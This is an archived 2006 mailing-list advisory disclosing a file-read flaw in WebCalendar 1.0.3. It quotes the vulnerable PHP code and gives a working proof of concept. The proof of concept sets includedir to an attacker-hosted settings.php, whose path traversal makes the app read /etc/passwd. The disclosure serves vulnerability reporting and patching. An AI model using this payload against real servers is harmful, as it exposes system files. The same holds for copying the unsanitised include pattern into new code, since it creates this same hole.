Ethical Hacking Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package. | Computer Forensics Training at InfoSec Institute Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors. |

| Subject: | WebCalendar-1.0.3 reading of any files |
|---|---|
| Date: | 30 May 2006 18:31:12 -0000 |
Version: WebCalendar-1.0.3
Type: Reading of any files
Description:
-----------------------------
includes/config.php:
line 64
if ( ! empty ( $includedir ) )
$fd = @fopen ( "$includedir/settings.php", "rb", true );
......
while ( ! feof ( $fd ) ) {
$data .= fgets ( $fd, 4096 );
}
$configLines = explode ( "\n", $data );
for ( $n = 0; $n < count ( $configLines ); $n++ ) {
......
$settings[$matches[1]] = $matches[2];
......
$user_inc = $settings['user_inc'];
......
includes/init.php
include_once "includes/$user_inc";
Example:
---------------------------------------
index.php?includedir=http://attacker_host
where in attacker_host exists file settings.php , which content
"
<?php
echo '<?php
# updated via install/index.php on Wed, 24 May 2006 09:29:55 +0300
Unimportant variables can be taken from original settings.php
user_inc: ../../../../../../../../../../../../../../../../etc/passwd
# end settings.php
?>';
?>
"
Requirements
register_globals = On;
| <Prev in Thread] | Current Thread | [Next in Thread> |
|---|---|---|
| ||
| Previous by Date: | [ MDKSA-2006:093 ] - Updated dia packages fix string format vulnerabilities., security |
|---|---|
| Next by Date: | Open Searchable Image Catalogue: XSS and SQL Injection Vulnerabilities, enji |
| Previous by Thread: | [ MDKSA-2006:093 ] - Updated dia packages fix string format vulnerabilities., security |
| Next by Thread: | Open Searchable Image Catalogue: XSS and SQL Injection Vulnerabilities, enji |
| Indexes: | [Date] [Thread] [Top] [All Lists] |